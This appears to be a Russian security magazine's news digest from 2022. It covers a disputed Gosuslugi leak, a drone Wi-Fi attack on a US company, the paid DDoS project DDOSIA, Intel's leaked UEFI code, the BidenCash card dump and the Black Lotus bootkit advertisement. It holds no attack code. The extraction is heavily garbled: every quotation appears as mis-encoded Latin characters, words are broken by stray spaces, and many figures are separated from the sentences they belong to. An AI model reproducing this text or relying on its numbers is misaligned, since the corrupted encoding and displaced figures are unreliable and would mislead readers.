èç âíåø íèõ îíëàéí‑ñèñ òåì, èñïîëü çóþùèõ óïðî ùåí íóþ èäåí òèôèêà öèþ
ïîëü çîâàòå ëåé ÷åðåç Ãîñóñ ëóãè. Ýòà ñèñ òåìà íå èìå åò ïðÿ ìîãî äîñ òóïà
ê ïîë íîìó íàáîðó äàí íûõ ïîëü çîâàòå ëåé».

Пос ле пуб ликации пер вых трех фраг ментов этой базы на хакер ских форумах и в
Telegram-каналах и вов се появи лась информа ция о дам пе раз мером 2,5 мил -
лиона записей. Сооб щение про дав ца гла сило, что за этой утеч кой сто ят «те же
про укра инские хакеры», а 2,5 мил лиона записей — лишь проб ник боль шей
базы, которую зло умыш ленни ки выс тавили на про дажу за 15 тысяч дол ларов
США.

Пред ста вите ли ком пании «Рос телеком», которая занима ется экс плу ата цией
и раз вити ем инфраструк туры элек трон ного пра витель ства, вклю чая пор тал
Госус луг, заяви ли, что эта утеч ка — фейк.

«

»

«Òàê æå êàê è ôàéë, î êîòîðîì áûëè ñîîá ùåíèÿ 11 îêòÿáðÿ 2022 ãîäà,
áàçà íå ñîäåð æèò íàáîðà ïàðàìåò ðîâ, êîòîðûå îáÿ çàòåëü íî ïðè ñóòñ òâó -
þò â ñòàí äàð òíûõ ó÷åò íûõ çàïèñÿõ Ãîñóñ ëóã. Âìåñ òå ñ òåì â áàçå ïðè -
ñóòñ òâó åò ðÿä èäåí òèôèêà òîðîâ, êîòîðûå â Ãîñóñ ëóãàõ íå ñîäåð æàòñÿ:
íàèìå íîâà íèå èíôîðìà öèîí íîé ñèñ òåìû, äàí íûå î ñòà òóñå ïðî âåð êè
ïàñ ïîðòà ãðàæ äàíèíà è ðÿä äðó ãèõ. Çíà ÷èò, ýòè äàí íûå íå ìîã ëè áûòü
âûã ðóæåíû èç èíôîðìà öèîí íûõ ñèñ òåì ïîð òàëà», — ñîîá ùèëè â êîì -
ïàíèè.

Эк спер ты так же отме тили, что часть информа ции в базе, вклю чая дату выг -
рузки, была изме нена вруч ную, что бы соз дать впе чат ление пос тоян ного дос -
тупа зло умыш ленни ков в сис тему. Тог да как реаль ная дата утеч ки — 24 янва -
ря 2021 года.

«
»

«Ðåçóëü òàòû ðàñ ñëå äîâà íèÿ äàþò îñíî âàíèÿ äëÿ âûâîäà, ÷òî èñòî÷íè êîì
óòå÷ êè ñòà ëà ñèñ òåìà, â êîòîðîé óêà çàí íûå äàí íûå ñîáèðà þòñÿ îò ïîëü -
çîâàòå ëåé ñàìîñ òîÿòåëü íî. Òåõ íè÷åñ êèå äåòàëè èíöè äåí òà 11 îêòÿáðÿ
ïîç âîëÿ þò ïðåä ïîëîæèòü, ÷òî ýòî ìîãóò áûòü ðåñóð ñû „Ïî÷ òû Ðîñ -
ñèè“», — çàÿâè ëè â ïðåññ‑ñëóæ áå «Ðîñ òåëåêî ìà».

В ком пании завери ли, что инци дент не зат ронул безопас ность дан ных поль -
зовате лей пор тала Госус луг, так как их логины и пароли не были ском про мети -
рова ны. Кро ме того, у подав ляюще го боль шинс тва акка унтов из базы под клю -
чена двух фактор ная аутен тифика ция, а это «исклю чает воз можность взло ма
этих учет ных записей с помощью авто мати чес кого перебо ра паролей».

 КРИПТОВАЛЮТНЫХ БАНКОМАТОВ50+

Ко личес тво крип товалют ных бан коматов в Рос сии перева лило за , хотя юрис ты отме чают,
что тер миналы все еще находят ся в «серой зоне» и неяс но, как будут защище ны пра ва граж дан,
если воз никнут проб лемы. Такие машины поз воля ют обме нивать налич ные или без налич ные
день ги на крип товалю ту и наобо рот — кон верти ровать крип товалю ты в фиат (на бан ков ский
счет).

50

По дан ным ком пании RusBit, которая занима ется уста нов кой крип томатов, в этом году в Мос -
кве появи лось  новых крип томатов, а общее количес тво машин в РФ дос тигло .14 52 штук

Жур налис ты «Ком мерсан та» про вели экспе римент и при обре ли через крип томат нем ного бит -
коинов. Курс покуп ки сос тавил , что на  пре выша ло курс
в интернет-обменни ках.

1,494  мил лиона руб лей 10–14%

ХАКЕРСКИЕ ДРОНЫ
СТАЛИ
РЕАЛЬНОСТЬЮ
ИБ-спе циалист Грег Линарес (Greg Linares) сооб щил об инте рес ной ата ке,
про изо шед шей летом текуще го года. Неназ ванная финан совая ком пания
из США обна ружи ла, что на кры шу ее офи са при зем лились модифи циро ван -
ные дро ны DJI Matrice 600 и DJI Phantom, осна щен ные пен тестер ским девай -
сом WiFi Pineapple, и пытались исполь зовать MAC-адрес одно го из сот рудни -
ков.

О нес тандар тной ата ке Линарес рас ска зал в Twitter, при этом отка зав шись
сооб щить наз вание пос тра дав шей ком пании. Жур налис ты изда ния The Register
сами про вери ли исто рию спе циалис та, свя зав шись с пред ста вите лями ком -
пании-жер твы, и под твер дили, что попыт ка взло ма при помощи модифи циро -
ван ных дро нов дей стви тель но име ла мес то.

Ис сле дова тели дав но пре дуп режда ют и стро ят теории о хакер ском потен -
циале бес пилот ников. Пос ле того как в про даже появи лись дос тупные модели
пот ребитель ских квад рокоп теров, эта тема не раз под нималась на ИБ-кон -
ферен циях, нап ример Black Hat, как , так и .в США в Евро пе

Кро ме того, еще в 2013 году извес тный иссле дова тель Сэми Кам кар (Samy
Kamkar) показы вал свой дрон , который осна щал ся Raspberry Pi
для зах вата дру гих дро нов через Wi-Fi. А в 2017 году DIY-энту зиаст Наоми Ву
(Naomi Wu) про демонс три рова ла про ект под наз вани ем , так же
нап равлен ный на соз дание хакер ско го квад рокоп тера. Пару лет назад и мы
пос вятили зах вату дро нов боль шую статью, которую ты можешь най ти .

SkyJack

Screaming Fist

здесь
Но теперь проб лема перехо дит из теорий в реаль ность. Линарес рас ска -

зыва ет, что все началось с того, что ком пания-жер тва обна ружи ла на внут -
ренней стра нице Atlassian Conuence необыч ную активность, которая исхо дила
из сети ком пании.

Служ ба безопас ности отре аги рова ла быс тро и выяс нила, что сот рудник,
MAC-адрес которо го исполь зовал ся для час тично го дос тупа к Wi-Fi-сети ком -
пании, так же вошел в сис тему дома за мно го километ ров от офи са. То есть
поль зователь был акти вен за пре дела ми офи са, но кто-то, находив ший ся
в ради усе дей ствия Wi-Fi-сети зда ния, пытал ся исполь зовать его MAC-адрес.
Тог да коман да поп робова ла отсле дить Wi-Fi-сиг нал, исполь зовав для иден -
тифика ции устрой ства сис тему Fluke. Это при вело защит ников на кры шу зда -
ния, где они обна ружи ли дро ны DJI Matrice 600 и DJI Phantom.

По сло вам Линаре са, Phantom был в отличном сос тоянии и имел на бор ту
модифи циро ван ное пен тестер ское устрой ство WiFi Pineapple. Дрон Matrice
и вов се при нес кейс, в котором находи лись Raspberry Pi, нес коль ко акку муля -
торов, мини-ноут бук GPD, 4G-модем и еще один Wi-Fi-девайс. Этот бес пилот -
ник при зем лился рядом с сис темой отоп ления и вен тиляции зда ния и выг лядел
пов режден ным, хотя тоже работал.

«
»

«Â õîäå ðàñ ñëå äîâà íèÿ áûëî óñòà íîâ ëåíî, ÷òî èçíà ÷àëü íî äðîí DJI
Phantom èñïîëü çîâàë ñÿ çà íåñ êîëü êî äíåé äî ýòîé àòà êè äëÿ ïåðåõ âàòà
ó÷åò íûõ äàí íûõ è Wi-Fi ñîò ðóäíè êà. Ýòè äàí íûå ïîç æå æåñ òêî çàï -
ðîãðàì ìèðîâà ëè â èíñ òðó ìåí òû, êîòîðûå áûëè ðàç âåðíó òû ñ ïîìîùüþ
Matrice», — îáú ÿñíÿ åò Ëèíàðåñ.

По сло вам экспер та, инс тру мен ты на дро нах исполь зовались для при цель ной
ата ки на внут реннюю стра ницу Conuence ком пании, в попыт ке получить дос -
туп к дру гим внут ренним устрой ствам и хра нящим ся там учет ным дан ным.

«

»

«Çëî óìûø ëåííè êè ñïå öèàëü íî íàöåëè âàþò ñÿ íà ñåòè ñ îãðà íè÷åí íûì
äîñ òóïîì, êîòîðûå èñïîëü çóþò ñÿ êàê òðåòü èìè ñòî ðîíà ìè, òàê è âíóò ðè
êîì ïàíèè è êîòîðûå ïëî õî çàùèùå íû èç‑çà êàêèõ‑òî íåäàâ íèõ èçìå -
íåíèé â êîì ïàíèè (íàï ðèìåð, ðåñ òðóê òóðèçà öèÿ/ðåá ðåíäèíã, ïåðå åçä
â íîâîå çäà íèå, íîâûå íàñ òðîé êè ñåòè èëè ñî÷åòà íèå ýòèõ ñöå íàðè -
åâ), — ðàñ ñêà çûâà åò ñïå öèàëèñò. — Ïî ýòîé ïðè ÷èíå âðå ìåí íàÿ ñåòü,
ê ñîæàëå íèþ, èìå ëà îãðà íè÷åí íûé äîñ òóï äëÿ âõî äà â ñèñ òåìó (ó÷åò íûå
äàí íûå + MAC). Çëî óìûø ëåííè êè èñïîëü çîâàëè àòà êó äëÿ äîñ òóïà
ê âíóò ðåííå ìó ñåð âåðó Confluence, êîòîðûé ñîäåð æàë äðó ãèå ó÷åò íûå
äàí íûå äëÿ äîñ òóïà ê äðó ãèì ðåñóð ñàì».

Ана литик счи тает, что зло умыш ленни ки хорошо под готови лись к ата ке: нес -
коль ко недель пот ратили на раз ведку, находи лись непода леку от целевой сре -
ды, име ли неп лохой бюд жет и зна ли, с какими огра ниче ниями по час ти
физичес кой безопас ности им при дет ся стол кнуть ся.

Ли нарес подыто жива ет, что эта ата ка име ла «огра ничен ный успех», но ста ла
уже треть ей кибера такой с учас тием дро на, которую лич но он видел за пос -
ледние два года.

«

»

«Ñåé ÷àñ, â 2022 ãîäó, ìû íàá ëþäà åì ïî‑íàñ òîÿùå ìó óäè âèòåëü íûå äîñ -
òèæåíèÿ äðî íîâ â îáëàñòÿõ ìîù íîñòè, äàëü íîñ òè è âîç ìîæíîñ òåé (íàï -
ðèìåð, óäè âèòåëü íûå øîó ñèí õðî íèçè ðîâàí íûõ áåñ ïèëîò íèêîâ â Êèòàå,
îíè ïðîñ òî ôàí òàñòè ÷åñ êèå).

Âìåñ òå ñ òåì âàðè àíòû ïîëåç íûõ íàã ðóçîê äëÿ äðî íîâ ñòà íîâÿò ñÿ
âñå ìåíü øå è ýôôåêòèâ íåå (íàï ðèìåð, Flipper Zero), è ýòî ñîç äàåò æèç -
íåñïî ñîá íûå ìîäåëè àòàê, êîòîðûå öåëåñî îáðàçíî ïðè ìåíÿòü â ðåàëü -
íîñ òè. Êîì ïàíèè, ðàáîòà þùèå â îáëàñòÿõ ôèí òåõà, êðèï òû è öåïî÷ êè
ïîñ òàâîê, à òàê æå âàæ íûå ïîñ òàâùè êè ïðîã ðàì ìíî ãî îáåñ ïå÷åíèÿ
ìîãóò ñòàòü èäå àëü íûìè öåëÿìè äëÿ òàêèõ àòàê, ãäå çëî óìûø ëåííèê
ìîæåò ëåã êî ïîê ðûòü ñâîè ýêñ ïëó àòà öèîí íûå ðàñ õîäû çà ñ÷åò íåìåä -
ëåííîé ôèíàí ñîâîé âûãîäû èëè äîñ òóïà ê áîëåå ïåð ñïåê òèâíûì
öåëÿì», — ðåçþìè ðóåò ýêñïåðò.

ДУРОВ ПРОТИВ WHATSAPP

В сен тябре текуще го года в WhatsApp обна ружи ли и испра вили сра зу две 
. Пос ле это го Павел Дуров пос вятил мес сен дже ру отдель ный пост в сво ем

Telegram-канале и напом нил, что это далеко не пер вая проб лема с безопас ностью в WhatsApp,
заявив, что сам отка зал ся от его исполь зования мно го лет назад.

кри тичес кие RCE-
уяз вимос ти

→ «Каж дый год мы узна ем о какой-то проб леме в WhatsApp, которая ста вит
под угро зу все, что находит ся на устрой ствах поль зовате лей. Это зна чит, что
там поч ти навер няка уже сущес тву ет новая уяз вимость. Такие проб лемы вряд
ли мож но наз вать слу чай ными — это (спе циаль но) заложен ные бэк доры. Если
один бэк дор обна ружен и его нуж но уда лить, на его мес то добав ляет ся дру гой.

Вот почему я уда лил WhatsApp со сво их устрой ств мно го лет назад. Уста -
нов ленное при ложе ние соз дает дверь для про ник новения в ваш телефон.

Я не при зываю людей перехо дить на Telegram. С 700+ млн активных поль -
зовате лей и 2+ млн ежед невных под писчи ков Telegram не нуж дает ся в допол -
нитель ной рек ламе. Вы можете исполь зовать любое при ложе ние для обме на
сооб щени ями, которое вам нра вит ся, но дер житесь подаль ше от WhatsApp,
уже 13 лет он слу жит инс тру мен том для слеж ки»,

 — пишет осно ватель Telegram.

Продолжение статьи →

mailto:nefedova@glc.ru
https://www.youtube.com/watch?v=0LA8tTKAfK0
https://blackhat.com/docs/eu-16/materials/arsenal/eu-16-CROZONO-Framework-Leveraging-Autonomous-Devices-as-an-Attack-Vector-on-Indutrial-Networks.pdf
https://www.youtube.com/watch?v=EHKV01YQX_w
https://www.youtube.com/watch?v=Cdk4Zw2oYdc
https://xakep.ru/2019/06/24/dron-interception/
https://xakep.ru/2022/09/28/whatsapp-rce-2/
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КРАУДСОРС НА DDOS
Эк спер ты ком пании Radware обна ружи ли кра удсорсин говый DDoS-про ект
DDOSIA, в рам ках которо го рус ско языч ная хак-груп па пла тит доб роволь цам
за учас тие в ата ках на запад ные орга низа ции.

Ис сле дова тели отме чают, что DDoS-ата ки дав но ста ли мощ ным ору жием
в руках хак тивис тов самых раз ных стран, ведь такие ата ки лег ко орга низо вать
и осу щес твить, а ущерб, нанесен ный перебо ями в работе ком паний и орга -
низа ций, может вес ти как к финан совым потерям, так и к более серь езным
пос ледс тви ям. Одна ко обыч но доб роволь цы, учас тву ющие в DDoS-ата ках,
не получа ют воз награж дений за свою «работу», поэто му обна руже ние про екта
DDOSIA — событие доволь но неор динар ное.

По дан ным Radware, про ект был запущен в августе 2022 года груп пиров кой
NoName057(16), которая появи лась в мар те текуще го года.

Впер вые эта хак-груп па упо мина лась в сен тябрь ском отче те ком пании Avast,
где опи сывал ся модуль для DDoS-атак, заг ружа емый тро яном уда лен ного дос -
тупа Bobik (эта мал варь извес тна с 2020 года и рас простра няет ся сти лером
RedLine). Экспер ты Avast наб людали за NoName057(16) три месяца, с июня
по сен тябрь текуще го года, и приш ли к выводу, что груп пиров ка про водит
DDoS-ата ки про тив укра инских орга низа ций, хотя успешны толь ко око ло 40%
из них.

Как теперь рас ска зали ана лити ки Radware, срав нитель но недав но груп -
пиров ка запус тила в Telegram про ект DDOSIA, где опе рато ры раз мести ли ссыл -
ку на GitHub с инс трук циями для потен циаль ных «волон теров». На сегод -
няшний день основной Telegram-канал груп пиров ки нас читыва ет
более 13 тысяч под писчи ков.

По сло вам иссле дова телей, порой DDOSIA ата куют те же цели, которые уста -
нав лива ет про рос сий ская хак-груп па KillNet. В час тнос ти, они при нима ли учас -
тие в недав ней мас штаб ной DDoS-ата ке на круп ные аэро пор ты в США.

Доб роволь цы DDOSIA регис три руют ся через Telegram, что бы получить ZIP-
архив с мал варью (dosia.exe), которая содер жит уни каль ный ID для каж дого
поль зовате ля. Самая инте рес ная осо бен ность это го про екта — учас тни ки
могут свя зать свой ID с крип товалют ным кошель ком и получать день ги за учас -
тие в DDoS-ата ках. При чем опла та про пор циональ на мощ ностям, которые пре -
дос тавля ет кон крет ный учас тник.

Луч шие учас тни ки каж дой вол ны атак получа ют: за пер вое мес то — 80 тысяч
руб лей (при мер но 1255 дол ларов США), за вто рое мес то — 50 тысяч руб лей
(при мер но 785 дол ларов США), а за третье мес то — 20 тысяч руб лей (при -
мер но 315 дол ларов США). К тому же во вре мя атак на аме рикан ские аэро -
пор ты опе рато ры DDOSIA объ яви ли, что рас пре делят допол нитель ные вып латы
сре ди топ-10 учас тни ков.

Эк спер ты резюми руют, что в нас тоящее вре мя DDOSIA нас читыва ет око -
ло 400 учас тни ков и оста ется полузак рытой груп пой, дос тупной толь ко
по приг лашени ям, которая регуляр но ата кует боль ше 60 воен ных и обра зова -
тель ных орга низа ций.

При этом в Radware выража ют обес поко енность тем, что финан совый сти -
мул поз волит NoName057(16) прив лечь к DDoS-ата кам мас су доб роволь цев
и может задать тренд для дру гих DDoS-груп пировок.

Ин терес но, что пос ле выхода нашей пуб ликации, пос вящен ной DDOSIA,
в Telegram-канале NoName057(16) появи лось сооб щение, в котором учас тни ки
груп пиров ки под черки вают, что не сот рудни чают с KillNet.

« »
«Ìû ðàáîòà åì íåçàâè ñèìî è íå èìå åì íèêàêî ãî îòíî øåíèÿ ê õàê‑ãðóï -
ïå KillNet. Ñâîè öåëè äëÿ DDoS-àòàê ìû âûáèðà åì ñàìè», — çàÿâè ëè
õàêåðû.

 УСТРОЙСТВ НЕ СООТВЕТСТВУЮТ ТРЕБОВАНИЯМ
WINDOWS 11
43%

По информа ции ана лити ков ком пании Lansweeper, стро гим сис темным тре бова ниям Windows
11 не соот ветс тву ют око ло  рабочих стан ций на круп ных пред при ятиях. Дело в том, что
новая ОС сов мести ма далеко не со все ми про цес сорами, а так же тре бует обя затель ного
наличия TMP (Trusted Platform Module) и под дер жки Secure Boot. Эти тре бова ния мож но обой ти
с помощью уста нов ки «вруч ную», но потом для таких сис тем не гаран тиру ются обновле ния.

42,7%

В Lansweeper приш ли к выводу, что при мер но из  устрой ств, работа ющих
под управле нием Windows в  орга низа ций, в сред нем толь ко  рабочих стан ций
смо гут авто мати чес ки обно вить ся до Windows 11.

30  000  000
60 000 57,26%

Толь ко  про тес тирован ных про цес соров для рабочих стан ций соот ветс тво вали сис -
темным тре бова ниям Windows 11. При этом боль шинс тво машин про ходят по объ ему опе ратив -
ной памяти ( ), но с TPM все в поряд ке толь ко в  слу чаев.

57,26%

92,85% 65%

Ху же того, тест на TPM про ходят толь ко  физичес ких сер веров, то есть не удас тся
обно вить  из них, если Microsoft в будущем соз даст сер верную ОС с ана логич ными тре -
бова ниями.

2,35%
97%

Так же проб лема с TMP име ется у боль шинс тва вир туаль ных сер веров и рабочих стан ций
(  и  соот ветс твен но).98,62% 99,87%

При этом, по срав нению с 2021 годом, у Microsoft про цент устрой ств, отве чающих тре бова -
ниям для ЦП и TPM, уве личил ся на .12%

Ис сле дова тели прог нозиру ют, что, если рост про дол жится, теоре тичес ки боль шинс тво
устрой ств будут сов мести мы с Windows 11 к .2026 году

УТЕЧКА У INTEL
Ком пания Intel под твер дила слу хи об утеч ке докумен тации и исходно го кода
UEFI BIOS для про цес соров Alder Lake (кодовое наз вание про цес соров Intel 12-
го поколе ния, которые выпус кают ся с нояб ря 2021 года).

Ссыл ки на исходный код UEFI для Intel Alder Lake опуб ликовал поль зователь
Twitter под ником Freak, и, по его утвер жде нию, утеч ка кор нями ухо дит
на 4chan. Эта ссыл ка вела на репози торий GitHub с наз вани ем ICE_TEA_BIOS,
который был заг ружен поль зовате лем LCFCASD. Репози торий содер жал неч то,
опи сан ное как «Код BIOS из про екта C970».

В общей слож ности дамп содер жит 5,97 Гбайт дан ных, вклю чая исходный код,
при ват ные клю чи, жур налы изме нений и инс тру мен ты ком пиляции. При чем
некото рые фай лы датиро ваны 30 сен тября 2022 года, то есть, веро ятно,
имен но в кон це прош лого месяца хакер или инсай дер слил дан ные.

Как сооб щили СМИ, весь утек ший исходный код соз дан ком пани ей — раз -
работ чиком про шивок для UEFI Insyde Software Corp. Кро ме того, утеч ка
содер жит мно гочис ленные отсылки к ком пании Lenovo, в том чис ле код
для интегра ции с Lenovo String Service, Lenovo Secure Suite и Lenovo Cloud
Service. При этом в Lenovo и Insyde Software Corp никак не про ком менти рова ли
ситу ацию.

За то ком пания Intel была вынуж дена под твер дить жур налис там изда ния
Tom’s Hardware, что утеч ка под линна и это дей стви тель но «проп риетар ный код
UEFI».

«

»

«Ïîõîæå, íàø ïðîï ðèåòàð íûé êîä UEFI áûë ïîõèùåí òðåòü åé ñòî ðîíîé.
Ìû íå ñ÷è òàåì, ÷òî ýòî âûÿâ ëÿåò êàêèå‑òî íîâûå ïðîá ëåìû áåçîïàñ -
íîñòè, ïîñ êîëü êó ìû íå ïîëàãà åìñÿ íà îáôóñêà öèþ èíôîðìà öèè
â êà÷åñ òâå ìåðû çàùèòû. Ýòîò êîä ó÷àñ òâó åò â íàøåé ïðîã ðàììå bug
bounty, â ðàì êàõ Project Circuit Breaker, è ìû ïðè çûâà åì âñåõ èññëå -
äîâà òåëåé, êîòîðûå ñìî ãóò îáíà ðóæèòü ïîòåí öèàëü íûå óÿç âèìîñ òè,
îáðà òèòü íà íèõ íàøå âíè ìàíèå ÷åðåç ýòó ïðîã ðàììó», — çàÿâè ëè ïðåä -
ñòà âèòå ëè Intel.

К сожале нию, нев зирая на эти завере ния Intel, ИБ-экспер ты счи тают, что утеч ка
исходно го кода все же может пред став лять угро зу, как минимум — упростит
поиск уяз вимос тей в коде.

«
»

«Àòà êóþùèé/áàã õàíòåð ìîæåò èçâëå÷ü îãðîìíóþ âûãîäó èç òàêèõ óòå ÷åê,
äàæå åñëè ýòî óòå÷ êà OEM-èìïëå ìåí òàöèè, êîòîðàÿ ëèøü ÷àñ òè÷íî
èñïîëü çóåò ñÿ â ïðî èçâîäñ òâå», — ïèøóò ñïå öèàëèñ òû êîì ïàíèè
Hardened Vault, çàíèìà þùåé ñÿ áåçîïàñ íîñòüþ îáî ðóäî âàíèÿ.

Эк сперт Positive Technologies Марк Ермо лов и вов се обна ружил, что дамп
содер жит при ват ный ключ шиф рования KeyManifest, исполь зуемый для защиты
плат формы Intel Boot Guard. Хотя пока неяс но, исполь зовал ся ли этот ключ
в про изводс тве, в теории зло умыш ленни ки могут задей ство вать его для изме -
нения полити ки заг рузки в про шив ке Intel и обхо да аппа рат ной безопас ности.

В  РАЗ ВЫРОСЛА ВЫРУЧКА ОТ МАЙНИНГА18

Сог ласно отче ту ком пании Intelion Data Systems, с 2017 по 2021 год выруч ка от май нин га бит -
коина в Рос сии вырос ла в  раз: за четыре года этот показа тель уве личил ся с 

 в 2017 году до  в 2021 году.
18 7 мил лиар дов

руб лей 128 мил лиар дов руб лей

Од нако в 2022 году сум марная выруч ка от добычи бит коина в РФ сни зилась и за восемь
месяцев сос тавила чуть боль ше . Учи тывая, что вто рой квар -
тал 2022 года экспер ты называ ют худ шим за один надцать лет наб людений, а хеш рейт BTC,
пос тупа ющий с тер ритории Рос сии, сок раща ется, годовой показа тель может сос тавить при -
мер но .

57  мил лиар дов руб лей

85,59 мил лиар да руб лей

Ин терес но, что в нас тоящее вре мя май неры в Рос сии рас ходу ют столь ко же элек три чес тва,
сколь ко и сель ское хозяй ство.

КАРДЕРЫ РАЗДАЮТ
КАРТЫ ДАРОМ
Кар дер ский дар кнет-ресурс BidenCash сно ва устро ил гром кую «рек ламную
акцию». Адми нис тра ция сай та бес плат но опуб ликова ла огромный дамп, содер -
жащий информа цию о 1 221 551 бан ков ской кар те, поз воляя любому жела -
юще му заг рузить эти дан ные.

Сайт BidenCash был запущен вес ной 2022 года и поч ти сра зу заявил о себе
ана логич ной акци ей: тог да опе рато ры BidenCash решили бес плат но раз дать
всем жела ющим CSV-файл, содер жащий име на, адре са, номера телефо нов,
адре са элек трон ной поч ты и номера бан ков ских карт, и таким обра зом про рек -
ламиро вать свою плат форму. Вес ной ИБ-спе циалис ты сооб щали, что в дам пе
мож но най ти дан ные при мер но 6600 бан ков ских карт и око ло 1300 из них —
это новые и дей стви тель ные кар ты.

Те перь кар деры начали новую, более мас штаб ную акцию, судя по все му
приз ванную про рек ламиро вать новые URL-адре са пло щад ки, запущен ные пос -
ле мощ ных DDoS-атак, которым BidenCash под вергал ся в прош лом месяце.

Что бы обес печить более широкий охват, мошен ники рек ламиру ют новый бес -
плат ный дамп с кар тами даже в откры том интерне те и на дру гих хакер ских
и кар дер ских форумах. По дан ным иссле дова телей из ком пании Cyble, сум -
марно новый дамп содер жит информа цию о 1,2 мил лиона карт со все го мира,
со сро ком дей ствия меж ду 2023 и 2026 годами. В основном они при над лежат
поль зовате лям из США.

Для боль шинс тва карт дос тупны сле дующие типы дан ных:
но мер кар ты;•
срок дей ствия;•
CVV-номер;•
имя вла дель ца;•
наз вание бан ка;•
тип кар ты, ста тус и класс;•
ад рес вла дель ца (штат и поч товый индекс);•
ад рес элек трон ной поч ты;•
но мер соци аль ного стра хова ния;•
но мер телефо на.•

Ана лити ки счи тают, что в основном дан ные о кар тах были получе ны с помощью
веб-ским меров — вре донос ных скрип тов, которые хакеры внед ряют на стра -
ницы офор мле ния заказов в интернет-магази нах. Такие скрип ты вору ют
информа цию о бан ков ских кар тах и про чие дан ные поль зовате лей.

Так как в дар кне те дам пы такого раз мера обыч но ока зыва ются фаль шив -
ками (пря мыми под делка ми или ста рыми дам пами, которые пере упа кова ны
под новым име нем), жур налис ты изда ния Bleeping Computer вни матель но изу -
чили этот слив вмес те с ана лити ками из ИБ-ком пании D3Lab.

К сожале нию, в ито ге иссле дова тели под твер дили, что дан ные из нес коль -
ких италь янских бан ков реаль ны, а утек шие записи соот ветс тву ют нас тоящим
кар там и их вла дель цам. Тем не менее боль шая часть дам па все же ока залась
перера бота на и сос тавле на из дру гих уте чек, нап ример из ста рого дам па мар -
кет плей са All World Cards, который ранее тоже  кар ты всем
жела ющим.

бес плат но раз давал

Су дя по изу чен ной экспер тами D3Labs выбор ке, око ло 30% карт ока зались
«све жими». Если экс тра поли ровать этот резуль тат на весь дамп, поряд -
ка 350 тысяч карт, рас простра няемых зло умыш ленни ками, могут ока зать ся
дей стви тель ными. При этом иссле дова тели говорят, что при мер но 50% италь -
янских карт уже могут быть заб локиро ваны, пос коль ку бан ки-эми тен ты обна -
ружи ли мошен ничес кую активность. Это озна чает, что пред став лять цен ность
для хакеров может лишь око ло 10% этой утеч ки.

БОЙСЯ ПЫЛЕСОСА, %USERNAME%

Сер гей Бело усов, осно ватель таких ком паний, как Acronis и Parallels, сооб щил жур налис там,
что, по его мне нию, любые умные девай сы пред став ляют угро зу для безопас ности и кон фиден -
циаль нос ти поль зовате лей, но те даже не соз нают это го.

Пред при нима тель, инвестор и спе циалист объ яснил, что даже сов ремен ный пылесос,
веро ятно, под клю чен к интерне ту, име ет камеру, мик рофон и кар ту всей квар тиры поль зовате -
ля. Таким обра зом, пылесос собира ет все дан ные яко бы для удобс тва вла дель ца, но нет
никако го спо соба узнать, как имен но эти дан ные исполь зуют ся и на что в ито ге могут сго дить -
ся. По его сло вам, люди вооб ще не задумы вают ся о рис ках, которые соп ряжены с исполь -
зовани ем мно гочис ленных умных устрой ств, и те вну шают поль зовате лям лож ное чувс тво
безопас ности.→ «Вам сто ит боять ся сво его пылесо са, ведь он, ско рее все го, сде лан

в Китае. Вы необя затель но задумы ваетесь об этом, но это зна читель ный
потен циаль ный риск для безопас ности и кон фиден циаль нос ти»,

— заявил Бело усов.

Продолжение статьи →

https://xakep.ru/2021/08/10/allworld-cards/
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НОВЫЙ UEFI-БУТКИТ
BLACK LOTUS
ИБ-экспер ты обра тили вни мание, что на хакер ских форумах рек ламиру ется
UEFI-бут кит под наз вани ем Black Lotus. Его про давец утвер жда ет, что Black
Lotus име ет встро енный обход Secure Boot, встро енную защиту от уда ления
на уров не ring 0 / ядра, а так же запус кает ся в режиме вос ста нов ления и в
безопас ном режиме.

Спе циалис ты напоми нают, что UEFI-бут киты внед ряют ся в про шив ку
и поэто му «невиди мы» для защит ных про дук тов, работа ющих в опе раци онной
сис теме, ведь такая мал варь заг ружа ется на самом началь ном эта пе.

ИБ-спе циалист Скотт Шефер ман (Scott Scheferman), одним из пер вых обра -
тив ший вни мание на это объ явле ние, сооб щил, что Black Lotus име ет раз -
мер 80 Кбайт, написан на ассем бле ре и C и уме ет опре делять геозо ну жер твы,
что бы избе гать зараже ния машин в стра нах СНГ. Вре донос пред лага ется
к про даже за 5000 дол ларов США, а каж дая новая вер сия будет сто ить
еще 200 дол ларов США.

Про давец утвер жда ет, что мал варь осна щена анти вир туали заци ей, анти -
отладкой и обфуска цией, что усложня ет ее обна руже ние и ана лиз. Так же, сог -
ласно его заяв лени ям, защит ное ПО не смо жет обна ружить и унич тожить бут -
кит, так как тот запус кает ся под учет ной записью SYSTEM внут ри легитим ного
про цес са.

По мимо это го, Black Lotus яко бы спо собен отклю чать защит ные механиз мы
на целевых машинах, в том чис ле Hypervisor-Protected Code Integrity (HVCI)
и Windows Defender, а так же обхо дить User Account Control (UAC).

«
»

«Ñàìî ÏÎ è îáõîä Secure Boot ðàáîòà þò íåçàâè ñèìî îò ïîñ òàâùè êà.
Åñëè [íà öåëåâîé ìàøèíå] èñïîëü çóåò ñÿ Secure Boot, äëÿ çàã ðóçêè áóò -
êèòà ïðè ìåíÿ åòñÿ óÿç âèìûé ïîä ïèñàí íûé çàã ðóç÷èê, — ïîÿñ íÿåò ïðî -
äàâåö. — Èñïðà âèòü ýòó óÿç âèìîñòü â íàñ òîÿùåå âðå ìÿ íåâîç ìîæíî,
ïîñ êîëü êó îíà çàò ðàãèâà åò ñîò íè çàã ðóç÷è êîâ, êîòîðûå èñïîëü çóþò ñÿ
â íàñ òîÿùåå âðå ìÿ».

Сто ит ска зать, что о Black Lotus уже извес тно и «Лабора тории Кас пер ско го».
Так, в недав нем интервью изда нию The Register спе циалист ком пании Сер гей
Лож кин пре дуп реждал, что воз можнос ти, опи сан ные в рек ламе бут кита, обыч -
но дос тупны толь ко серь езным груп пам «пра витель ствен ных» хакеров,
которые име ют соот ветс тву ющее финан сирова ние и под готов ку.

Лож кин приз нает ся, что, уви дев рек ламу Black Lotus на одном
из хак-форумов, он сра зу захотел заполу чить его, пос коль ку прос то необ -
ходимо отре вер сить такую мал варь и немед ленно пре дуп редить о ней кли -
ентов.

Скотт Шефер ман сог ласен с тем, что дос тупность Black Lotus — это край не
опас ная тен денция, одна ко эксперт пишет, что к рек ламе все же сто ит отно -
сить ся с долей скеп сиса.

«
»

«Ñëå äóåò îòìå òèòü, ÷òî äî òåõ ïîð, ïîêà ìû èëè êòî‑òî äðó ãîé
íå ïîëó÷èì îáðà çåö ýòîé âðå äîíîñ íîé ïðîã ðàììû è íå çàïóñ òèì åå
